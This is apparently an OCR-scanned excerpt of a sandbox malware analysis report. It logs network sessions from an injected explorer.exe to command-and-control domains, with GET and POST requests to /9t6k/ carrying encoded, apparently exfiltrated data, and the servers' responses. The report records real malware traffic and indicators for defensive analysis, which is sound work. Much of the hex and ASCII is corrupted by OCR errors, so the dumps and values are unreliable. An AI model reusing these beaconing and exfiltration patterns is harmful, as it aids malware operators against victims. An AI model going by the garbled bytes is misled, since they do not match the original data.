66 6e 52 64 30 64 35 6d 47 77 79 69 39 4e 7a 50 74 61 76 49 6d 36 4f 42 41 71 51 56 44 56 77 57 4a 7a 28 42 63 6a 49
63 7a 47 75 46 70 38 50 4e 45 56 7e 61 70 61 74 4e 56 57 71 39 70 57 4c 48 58 38 50 37 78 62 77 44 75 34 56 50 56 2d
4b 75 76 6b 63 64 32 69 77 50 42 62 37 49 70 64 75 32 69 5f 43 55 57 59 5a 51 35 4a 6d 77 68 57 54 4f 79 58 28 31 51
5a 35 5f 47 6f 52 65 53 5a 55 65 76 74 52 78 79 67 55 62 79 49 46 4f 48 31 4b 64 53 52 4e 47 63 30 36 46 45 48 50 72 4a
53 33 6a 4f 49 76 49 70 5f 6d 6¢ 49 79 77 68 69 4c 4d 33 71 70 4e 7a 72 35 77 7a 62 36 48 48 41 43 36 46 4c 4f 7e 75 7a
61 35 2d 58 63 6d 46 39 52 39 48 75 55 4b 75 45 4c 44 51 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=L6IFIWOKWnQWL9IbcB7QTY J4lyIxLQur7HtW8R97mai3gxF_WGyhmMe3Q-SazSJ1pUD4W9Ad
VX6A2c7g~Cws17UCxCa_HoJyTQR7HyjgKOYsYCE-GV15ntulrTHIefOU9fMG7rugbw5TMY (skMbXjYEOnaQRa0XBrC
DjsdgqKW9b27r2HWT3MikvZgPfnRdOd5mGwyi9NzPtavim60BAgQVDVwWWJz(BcjlczGuFp8PNEV~apatNVWq9pWLHX8
P7xbwDu4VPV-Kuvkcd2iwPBb7Ipdu2i_ CUWYZQ5ImwhWTOyX(1QZ5_GoReSZUevtRxygUbylFOH1KdSRNGCcO6FEHPr
JS3jOlvip_mllywhiLM3gpNzrswzb6HHACEFLO~uza5-XcmFIR9HUUKUELDQ).

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=E4R/8wd6fgEKWdVXGUezTNI/uDINCiSgghAFvmJDIfqfpwFCHVrHgZ/vPMmIVzFxpgLt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Dec 3, 2020 5965
10:04:20.031742096 CET

Session ID Source IP
60 192.168.2.5

kBytes
Timestamp transferred
Dec 3, 2020 7151

10:08:44.208674908 CET

Dec 3, 2020 7152
10:08:44.468770981 CET

Session ID Source IP

61 192.168.2.5
kBytes

Timestamp transferred

Copyright null 2020

Direction

IN

Source Port

49819

Direction

ouT

Source Port

49820

Direction

Data

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:04:20 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=dd71c2ffeca371060d60ef6a8a2fa51701606986259; expires=Sat, 02-Jan-21 09:04:19 GMT; path=/;
domain=.sportsbookmatcher.com; HttpOnly; SameSite=Lax

Vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

cf-request-id: 06c97175430000f9e29ba5c000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=NBSJEqNnOgbaJ38J2hY3I3dlvS1aDI9NUyo4
Pg2Eew9SWwTB4dpixC%2BqUkf%2BAdzibOjN5SdHUKhvs|%2BryZQJbGnQKoCK8agM%2BtYj7Dg9xED8ghQOt362mE
Vg"}],"group":"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc1e9b9ab3f9e2-PRG

Data Raw: 63 62 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44
54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30
34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f 20
77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79
3e 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa

Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head
><body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p></body></html>

Destination IP Destination Port Process

104.31.71.137 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=E4R/8wd6fgEKWdVXGUezTNI/uDINCiSgghAFvmJDIfgfpwFCHVrHgZ/VPMmIVzFxpgLt&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.sportsbookmatcher.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Date: Thu, 03 Dec 2020 09:08:44 GMT

Content-Type: text/html; charset=iso-8859-1

Transfer-Encoding: chunked

Connection: close

Set-Cookie: __cfduid=d2aedebb6da5d6e36afc4ba435cf414de1606986524; expires=Sat, 02-Jan-21 09:08:44 GMT; path=/;
domain=.sportsbookmatcher.com; HttpOnly; SameSite=Lax

Vary: Accept-Encoding

CF-Cache-Status: DYNAMIC

cf-request-id: 06c9757e3d0000412c42aa5000000001

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report?s=2i96 XhgfzG%2F8F5IpktbOpREJovEZ5Uxm%?2
BywcO0%2BUp%2FL5wvkNCwcRO10V8jlJeYWO0XpbnSO0VP3ILXCCl4FDooeQdk5zssb2%2Bzhg%2Bur3C8
WOoEO%2Fa%2B51eOMZ10G"}],"group”:"cf-nel","max_age":604800}

NEL: {"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 5fbc25106e1d412¢c-PRG

Data Raw: 63 62 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44
54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 34 30
34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 39 74 36 6b 2f 20
77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79
3e 3c 2f 68 74 6d 6¢ 3e Oa 0d Oa

Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head
><body><h1>Not Found</h1><p>The requested URL /9t6k/ was not found on this server.</p></body></html>

Destination IP Destination Port Process

52.60.87.163 80 C:\Windows\explorer.exe

Data
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Timestamp

Dec 3, 2020
10:08:49.587404013 CET

Session ID

62

Timestamp

Dec 3, 2020
10:08:49.692440033 CET

Dec 3, 2020
10:08:49.796698093 CET

Copyright null 2020

kBytes
transferred

7154

Source IP

192.168.2.5
kBytes

transferred

7154

7156

Direction

ouT

Source Port

49821

Direction

ouT

Data

POST /9t6k/ HTTP/1.1

Host: www.makingdoathome.com

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.makingdoathome.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.makingdoathome.com/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 4d 59 68 34 39 6a 61 39 6f 38 63 76 6d 39 62 6d 4f 6d 4d 36 76 64 6e 56 50 4d 63 71 64 37
6¢ 3531 72 76 6b 59 73 7a 49 33 57 6d 6d 53 7a 4f 50 28 41 4e 71 68 33 6b 36 6d 33 54 5a 4c 52 5a 41 5a 4b 51 37 52
4d 6a 6a 38 78 54 6d 37 79 70 51 28 69 74 49 78 63 58 37 46 56 76 59 38 38 66 6f 37 6d 36 6a 53 61 68 36 51 51 4c 64
33 4c 4a 5f 4f 73 75 32 44 56 56 44 46 37 6a 57 6a 30 6d 38 51 74 59 6b 36 44 6e 65 6e 35 6¢ 76 28 41 70 79 59 79 4e 64
69 74 56 68 42 61 48 61 70 6a 52 43 58 59 53 49 7e 45 44 61 4b 6b 57 75 37 35 4f 71 47 6e 50 35 28 4d 46 41 30 31 4e 3
650 69 44 52 61 30 48 72 48 6a 43 39 6f 33 4b 58 4f 65 7e 7a 6b 70 45 74 64 30 33 48 68 68 4b 6b 69 65 6a 4b 37 66 7e
61 4d 6e 33 55 77 6b 6b 4d 63 42 4c 65 55 59 48 43 55 53 6e 55 69 67 50 42 6b 57 4a 70 4c 76 52 50 35 6a 72 57 79 79
37 56 75 65 45 7a 45 6d 68 30 73 6a 39 62 44 32 73 79 6d 4e 58 55 37 4c 46 49 78 4f 30 33 37 62 73 7a 79 43 35 31 69
397e 7279 77 3057 69 4d 67 49 78 67 43 37 4a 61 76 70 66 4a 4e 7a 76 6a 77 5a 44 37 72 61 7a 4e 6f 4d 4e 46 64 4c
34 6¢ 65 34 51 78 66 30 43 4e 6a 52 32 62 36 76 6d 50 6f 49 38 5a 50 57 39 72 58 41 71 52 75 37 4b 73 4b 51 52 35 4a
6d 4a 6d 67 79 55 56 30 49 75 57 4a 72 55 78 51 76 36 41 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=MYh49ja908cvm9bmOmM6vdnVPMcqd7I51rvkYszI3WmmSzOP(ANgh3k6m3TZLRZAZKQ7RMijj
8XTm7ypQ(itlxeX7FVvY88fo7m6jSah6QQLd3LI_Osu2DVVDF7jWj0m8QtYk6Dnen5lv(ApyYyNditVhBaHapjRCXY
SI~EDaKkWu750qGnP5(MFA01N6PIDRa0HrHjC903KXOe~zkpEtd03HhhKkiejK7f~aMn3UwkkMcBLeUYHCUSNUigPB
kWJpLVRP5jrWyy7VueEzEmh0sj9bD2symNXU7LFIxO037bszyC51i9~ryw0WiMglxgC7JavpfINzvjwZD7razNoMNF
dL4le4QxfOCNjR2b6vmPol8ZPW9rXAgRu7KsKQR5ImJImgyUVOIuWJIrUxQVv6A).

Destination IP Destination Port Process

52.60.87.163 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=DaV CjFuxi8lQ0KSmZmVVzdfbFs8HKal1S3sC5D9GQ7HSGSXmO4QACkgMj7QCmBzxIGckN&UfrD
al=0nMpgJVP5t_PDD5p HTTP/1.1

Host: www.makingdoathome.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx

Date: Thu, 03 Dec 2020 09:08:49 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 3984

Connection: close

Vary: Accept-Encoding

Vary: Accept-Encoding

Cache-Control: max-age=604800

Expires: Thu, 10 Dec 2020 09:05:53 +0000

Content-Security-Policy: default-src 'self' 'unsafe-inline' https://park.101datacenter.net https://*.deviceatlascloud.com/
https://cs-cdn.deviceatlas.com data:

Access-Control-Allow-Origin: https://park.101datacenter.net

X-Frame-Options: SAMEORIGIN

X-Cached: HIT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 64 69 72 3d 22 22 20 6¢ 61 6e 67 3d 22 22
3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6¢ 65 3e 46 75 74 75 72 65 20 68 6f 6d 65 20 6f 66 20 6d 61 6b 69 6e 67 64 6f 61
74 68 6f 6d 65 2e 63 6f 6d 3¢ 2f 74 69 74 6¢ 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f
6e 22 20 63 6f 6e 74 65 6e 74 3d 22 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 2d 20 72
6567 69 73 74 65 72 20 79 6f 75 72 20 64 6f 6d 61 69 6e 20 6e 61 6d 65 20 6f 6e 6¢ 69 6e 65 2c 61 6e 64 20 67 65 74 20
74 68 65 20 6e 61 6d 65 20 79 6f 75 20 77 61 6e 74 20 77 68 69 6¢ 65 20 69 74 27 73 20 73 74 69 6¢ 6¢ 20 61 76 61 69
6¢c 61 62 6¢ 65 2e 20 49 6e 74 65 72 6e 65 74 20 44 6f 6d 61 69 6e 20 52 65 67 69 73 74 72 61 74 69 6f 6e 20 26 20 49 6e
74 6572 6e 61 74 69 6f 6e 61 6¢ 20 44 6f 6d 61 69 6e 20 4e 61 6d 65 20 52 65 67 69 73 74 72 61 74 69 6f 6e 2e 22 3e Oa
3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77
70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2¢ 20 69 6e 69 74 69
61 6¢ 2d 73 63 61 6¢ 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6¢ 65 3d 31 2e 30 2¢ 20 75 73 65 72 2d 73 6
361 6¢ 61 62 6¢ 65 3d 6e 6f 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70
61 74 69 62 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e Oa 3c 6d 65 74
61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 66 6f 6¢ 6¢ 6f 77 22 3e O
a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 47 4f 4f 47 4c 45 42 4f 54 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2¢ 20 6
6 6f 6¢ 6¢ 6f 77 22 3e Oa 3c 6d 65 74 61 20 4e 41 4d 45 3d 22 72 65 76 69 73 69 74 2d 61 66 74 65 72 22 20 43 4f 4e 54 4
5 4e 54 3d 22 31 35 20 64 61 79 73 22 3e 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22
20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64 61 74 61 63 65 6e 74 65 72 2e 6e 65 74 2f 69 6d
61 67 65 73 2f 76 65 6e 64 6f 72 2d 31 2f 69 63 6f 6e 2f 31 30 31 64 6f 6d 61 69 6e 2e 69 63 6f 22 3e Oa 3c 6¢ 69 6e 6b 20
72 65 6¢ 3d 22 73 74 79 6¢ 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 6b 2e 31 30 31 64
61 74 61 63 65 6e

Data Ascii: <IDOCTYPE html><html dir="" lang=""><head><title>Future home of makingdoathome.com</tite><meta na
me="description" content="Domain Name Registration - register your domain name online,and get the name you want
while it's still available. Internet Domain Registration & International Domain Name Registration."><meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"><meta htt
p-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><meta name="robots" content="index, follow"><meta name="G
OOGLEBOT" content="index, follow"><meta NAME="revisit-after" CONTENT="15 days"><link rel="shortcut icon" href=
"https://park.101datacenter.net/images/vendor-1/icon/101domain.ico"><link rel="stylesheet" href="https://park.101datacen
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Session ID

63

Timestamp

Dec 3, 2020
10:08:54.949810982 CET

Session ID

64

Timestamp

Dec 3, 2020
10:08:55.088040113 CET

Copyright null 2020

Source IP

192.168.2.5

kBytes
transferred

7160

Source IP

192.168.2.5

kBytes
transferred

7161

Source Port

49822

Direction

ouT

Source Port

49823

Direction

ouT

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

POST /9t6k/ HTTP/1.1

Host: www.rodgroup.net

Connection: close

Content-Length: 411

Cache-Control: no-cache

Origin: http://www.rodgroup.net

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://www.rodgroup.net/9t6k/

Accept-Language: en-US

Accept-Encoding: gzip, deflate

Data Raw: 55 52 66 6¢ 68 3d 78 58 33 30 78 53 34 72 49 4c 54 5f 4d 79 35 71 74 4c 37 2d 6f 48 6e 71 39 32 4b 4d 59 69
57 75 52 59 55 6e 33 4f 5a 75 39 61 42 52 43 49 5a 36 37 5a 76 50 6d 32 54 62 42 6d 46 4b 49 2d 4d 31 79 71 66 52 5a
55 56 4f 4e 41 41 69 74 51 4a 71 6a 44 43 35 7a 4e 54 41 28 72 6e 43 70 76 64 62 63 79 78 58 6f 43 43 61 66 77 52 79
7167 6d 50 6e 71 78 6a 35 6d 57 51 6¢ 58 37 74 54 50 69 62 71 77 35 32 4a 39 61 6f 58 33 31 34 6¢ 62 28 65 53 73 69 3
4 6a 45 49 2d 39 66 50 38 37 58 71 2d 57 6b 71 39 69 4d 6¢ 4b 46 78 53 30 53 72 32 57 7a 43 56 64 38 4d 54 65 53 32
66 31 45 72 66 44 37 57 59 71 34 4c 50 4d 57 70 66 63 47 59 44 73 36 6d 47 71 48 30 68 6f 64 37 71 44 41 4f 52 5a 52
47 65 76 6¢ 53 41 51 71 6d 39 30 4f 51 33 56 38 72 38 53 42 6a 52 56 51 4c 5a 57 54 65 45 46 6f 53 77 61 52 5a 38 52 64
50 42 33 43 6b 52 48 7a 6f 78 56 73 33 62 79 57 73 56 66 65 57 53 35 6d 79 55 46 76 6e 71 77 6d 49 69 31 77 63 6¢ 54
4e 4f 34 31 7a 4a 3562 77 71 31 50 4e 30 52 56 70 5f 4d 59 59 4f 67 45 76 4a 79 52 43 6d 68 46 51 78 66 57 38 46 50 65
73316577 48 73 67 76 7e 6d 46 75 79 41 79 70 46 5f 79 64 71 48 31 47 39 2d 67 68 71 65 6d 37 63 74 57 44 39 76 67
67 4d 77 38 70 79 46 6¢ 52 55 6d 63 5f 68 31 45 75 78 77 29 2e 00 00 00 00 00 00 00 00

Data Ascii: URflh=xX30xS4rILT_My5qtL7-oHnq92KMYiWuRYUn30Zu9aBRCIZ67ZvPm2ThBmFKI-M1yqfRZUVO
NAAitQJgjDC5zNTA(rnCpvdbcyxXoCCafwRygqgmPngxjsmWQIX7tTPibqw52J9a0X314lb(eSsi4jEI-9fP87Xqg-Wk
q9iIMIKFXS0Sr2WzCVd8MTeS2f1ErfD7WYq4LPMWpfcGYDs6mGqHOhod7gDAORZRGevISAQgm900Q3V8r
8SBjRVQLZWTeEFoSwaRZ8RdPB3CkRHzoxVs3byWsVfeWS5myUFvnqwmlilwclTNO41zJ5bwglPNORVp_
MYYOgEvIJyRCmhFQxfW8FPeslewHsgv~mFuyAypF_ydqH1G9-ghgem7ctWD9vggMw8pyFIRUmc_h1Euxw).

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=+VDOV2YqGr3HQyUjxvrdySDa222PNTvrG/MhsshnzvBOEZIKybOIlzjmZT3lubthnocji&UfrDal=0nMpgJV
P5t_PDD5p HTTP/1.1

Host: www.rodgroup.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:08:55.293777943 CET

Session ID

7

Timestamp

Dec 3, 2020
10:04:34.435105085 CET

Copyright null 2020

kBytes
transferred

7162

Source IP

192.168.2.5

kBytes
transferred

5967

Direction

IN

Source Port

49750

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Thu, 03 Dec 2020 09:08:55 GMT

Server: Apache

Set-Cookie: vsid=927vr3545321352133429; expires=Tue, 02-Dec-2025 09:08:55 GMT; Max-Age=157680000; path=/;
domain=www.rodgroup.net; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkA
aXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRYjS2penECAWEAAQ==_D+jghxJ53hpkEJvSdIN2RigowZkrsn9E7IYs
080I1Brxy3q9LRfNpUg4L7YJ1dF924paShLwlhaHs3kAf2HkTkg==

Keep-Alive: timeout=5, max=42

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 34 39 66 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f
77 7777 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6¢ 22 20 64 61 74 61 2d 61 64 62 6¢ 6f 63 6b 6b 65 79 3d 22
4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 4542 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78
70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6¢ 7a 68 36 70 6b 41 61 58 4c
5049 63 63 6¢ 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65
6e 45 43 41 77 45 41 41 51 3d 3d 5f 44 2b 6a 67 62 78 4a 35 33 68 70 6b 45 4a 76 53 64 6¢ 4e 32 52 69 67 6f 77 5a 6b
72 73 6e 39 45 37 6¢ 59 73 6f 38 4f 49 42 72 78 79 33 71 39 4¢ 52 66 4e 70 55 67 34 4c 37 59 4a 31 64 46 39 32 34 70 61
53 68 4c 77 49 68 61 48 73 33 6b 41 66 32 48 6b 54 6b 67 3d 3d 22 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 7
4797065 3d 2274 6578 74 2f6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e
3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 62 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74
70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74
3e 3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74
74 70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 32 22 3e 3¢ 2f 73 63 72 69 70
74 3e 3c 73637269 70 7420 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 66 75 6e 63 74 69
6f 6e 20 68 61 6e 64 6¢ 65 41 42 50 44 65 74 65 63 74 28 29 7b 74 72 79 7b 69 66 28 21 61 62 70 29 20 72 65 74 75 72
6e 3b 76 61 72 20 69 6d 67 6¢ 6f 67 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 22 69
6d 67 22 29 3b 69 6d 67 6¢ 6f 67 2e 73 74 79 6¢ 65 2e 68 65 69 67 68 74 3d 22 30 70 78 22 3b 69 6d 67 6¢ 6f 67 2 73 74
79 6¢ 65 2e 77 69 64 74 68

Data Ascii: 49ff<!IDOCTYPE htm| PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html
xmlns="http://www.w3.0rg/1999/xhtml" data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSWAWSAJBAKX74ixpzVyX
bJprcLfbH4psP4+L2entqriOlzh6pkAaXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyYjS2penECAWEAAQ==_D+jgh
xJ53hpkEJvSdIN2RigowZkrsn9E71Yso80I1Brxy3q9LRfNpUg4L7YJ1dF924 paShLwlhaHs3kAf2HkTkg=="><head><script t
ype="text/javascript">var abp;</script><script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=1"></script>
<script type="text/javascript" src="http://www.rodgroup.net/px.js?ch=2"></script><script type="text/javascript">function
handleABPDetect(){try{if('abp) return;var imglog = document.createElement("img");imglog.style.height="0px";imglog.style
width

Destination IP Destination Port Process

208.91.197.27 80 C:\Windows\explorer.exe

Data

GET /9t6k/?URflh=+VDOV2YqGr3HQyUjxvrdySDa222PNTvrG/MhsshnzvBOEZIKybOIlzjmZT3lubthnocji&UfrDal=0nMpgJV
P5t_PDD5p HTTP/1.1

Host: www.rodgroup.net

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Timestamp

Dec 3, 2020
10:04:34.763290882 CET

Session ID

8

Timestamp

Dec 3, 2020
10:04:45.313668013 CET

Dec 3, 2020
10:04:45.428632021 CET

Session ID

9

Timestamp

Copyright null 2020

kBytes
transferred

5969

Source IP

192.168.2.5
kBytes

transferred

5990

5991

Source IP

192.168.2.5

kBytes
transferred

Direction

IN

Source Port

49751

Direction

ouT

Source Port

49752

Direction

Data

HTTP/1.1 200 OK

Date: Thu, 03 Dec 2020 09:04:34 GMT

Server: Apache

Set-Cookie: vsid=929vr3545318745717750; expires=Tue, 02-Dec-2025 09:04:34 GMT; Max-Age=157680000; path=/;
domain=www.rodgroup.net; HttpOnly

X-Adblock-Key: MFwwDQY JKoZIhveNAQEBBQADSWAWSAJIBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkA
aXLPlcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRYjS2penECAWEAAQ==_D+jghxJ53hpkEJvSdIN2RigowZkrsn9E7IYs
080I1Brxy3q9LRfNpUg4L7YJ1dF924paShLwlhaHs3kAf2HkTkg==

Keep-Alive: timeout=5, max=70

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 34 39 65 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f
44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f
68 74 6d 6¢ 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d Oa 3c 68 74 6d 6¢ 20 78 6d 6¢ 6e 73 3d 22 68 74 74 70 3a 2f 2f
777777 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6¢ 22 20 64 61 74 61 2d 61 64 62 6¢ 6f 63 6b 6b 65 79 3d 22
4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 4542 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78
70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6¢ 7a 68 36 70 6b 41 61 58 4c
5049 63 63 6¢ 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 79 6a 53 32 70 65
6e 45 43 41 77 45 41 41 51 3d 3d 5f 44 2b 6a 67 62 78 4a 35 33 68 70 6b 45 4a 76 53 64 6¢ 4e 32 52 69 67 6f 77 5a 6b
72 73 6e 39 45 37 6¢ 59 73 6f 38 4f 49 42 72 78 79 33 71 39 4¢ 52 66 4e 70 55 67 34 4c 37 59 4a 31 64 46 39 32 34 70 61
53 68 4c 77 49 68 61 48 73 33 6b 41 66 32 48 6b 54 6b 67 3d 3d 22 3e 0d Oa 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 7
4797065 3d 2274 6578 74 2f6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 61 62 70 3b 3c 2f 73 63 72 69 70 74 3e
3c 73637269 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 62 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74
70 3a 2f 2f 77 77 77 2e 72 6f 64 67 72 6f 75 70 2e 6e 65 74 2f 70 78 2e 6a 73 3f 63 68 3d 31 22 3e 3c 2f 73 63 72 69 70 74
